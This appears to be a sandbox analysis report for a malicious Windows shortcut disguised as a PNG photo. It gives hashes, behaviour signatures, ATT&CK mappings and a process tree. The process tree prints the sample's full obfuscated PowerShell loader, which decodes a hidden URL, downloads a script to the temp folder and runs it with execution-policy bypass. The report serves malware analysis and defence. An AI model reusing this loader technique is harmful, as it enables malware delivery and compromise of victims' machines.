60ba5d7103867026b0a36bb33d4d327f77b494f0541607ae8f6fa1ca0279d222

Analysis

max time kernel
149s
max time network
140s
platform
windows10-2004_x64
resource
win10v2004-20260513-en
resource tags

arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
04/06/2026, 14:04

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
PHOTO-558719252.png.lnk
Size 2KB
Sample260604-rdeslsgy8n
SHA256 60ba5d7103867026b0a36bb33d4d327f77b494f0541607ae8f6fa1ca0279d222
MD5 23a385866c18d31118635dff38b1f630
SHA1 cb1820283981c6f32db15d4220b8b8d39da5fc9a
SHA512 e7a357a56e67a6bd0860eb97f84243836eb4d6ff85052991aacf84247605b3a69dd1044e7ca9f2a2b167744af9317e782c2b8f7746339bcb76d5284491e679bb
TLSH
T1F8410E2827E5032DE6B78B34C8FD232AA5297911DA26DF5F01C442994971111E967F3E
MD5 SHA1 SHA512 TLSH

Score

8^/10

execution

Malware Config

Signatures

Badlisted process makes network request 1 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
6	8	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-889581200-2041691093-2048517887-1000\Control Panel\International\Geo\Nation	cmd.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
8	powershell.exe
2432	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 3 IoCs

pid	Process
8	powershell.exe
8	powershell.exe
2432	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	8	powershell.exe
Token: SeDebugPrivilege	2432	powershell.exe

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 4768 wrote to memory of 8	4768	cmd.exe	86
PID 8 wrote to memory of 2432	8	powershell.exe	91

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\PHOTO-558719252.png.lnk
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4768
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ep bypass -c "$IAPnM=\"342453531530470507077081729126284570566\" -as [System.Numerics.BigInteger];$jDn1NR=\"194315026848245571487991382916030744406\" -as [System.Numerics.BigInteger];$gd2V8N=$IAPnM - $jDn1NR;for($IBR4yH5=100+156;$gd2V8N -ne 0;$gd2V8N=$gd2V8N / $IBR4yH5){$jYd8z7X+=[char]([int]($gd2V8N % $IBR4yH5));};iwr $jYd8z7X -OutFile $env:TEMP\dpmY7N.ps1 -UseBasicParsing; powershell -ep bypass -File $env:TEMP\dpmY7N.ps1"
  2⤵
  - Badlisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:8
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ep bypass -File C:\Users\Admin\AppData\Local\Temp\dpmY7N.ps1
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2432

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 1KB
SHA256 3c6d5ecae46dd9f6756e444bc51635cdd9696f3ed9fe0601cf41059a04085f88
MD5 25d7ac29d798600ddc5fd880b162958b
SHA1 a2ba91e14155cfa5c26670e17ac606f3f28b0be2
SHA512 d91a9028c0fdf3761edbccddaa460573281b7d390efc7dfe3ebef46ce5ede53d36a7148c523e312b5daedc91c11cdb2cc8d0f8b475339cd35dba044595778d45
TLSH
T15731CE3133B5A0D889163F471E3855C053BF4355F694AF48B688626ED9324179F221F3
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 a35ced4898bed61abc1de33ab025222ded89e682471684b04bf6098c079df26b
MD5 8d90cdfe646a27947388e11d9ac8f07c
SHA1 11a06d14684b0ee76dca61de0d47ce1e7c079c1b
SHA512 dbc93c6fd5a31268d1c3214b1168649ecd2fb0ff27cd62dec4cfe81711afbdfc6d9c14bc42ed5fe8edc8cb89a8745bc52a5da8c6570236c10259335f55c2e06a
TLSH
T16C215627B79CC9E1CC96153A509DAC11727396C740AEDEDF6BC4D214A06F589CB61290
MD5 SHA1 SHA512 TLSH

Submit Download

__PSScriptPolicyTest_cqv2rp4h.op3.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_cqv2rp4h.op3.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

memory/8-3-0x000001B1C6200000-0x000001B1C6210000-memory.dmp

Download

memory/8-2-0x000001B1C6200000-0x000001B1C6210000-memory.dmp

Download

memory/8-9-0x000001B1C61B0000-0x000001B1C61D2000-memory.dmp

Download

memory/8-12-0x000001B1C6200000-0x000001B1C6210000-memory.dmp

Download

memory/8-13-0x000001B1C6200000-0x000001B1C6210000-memory.dmp

Download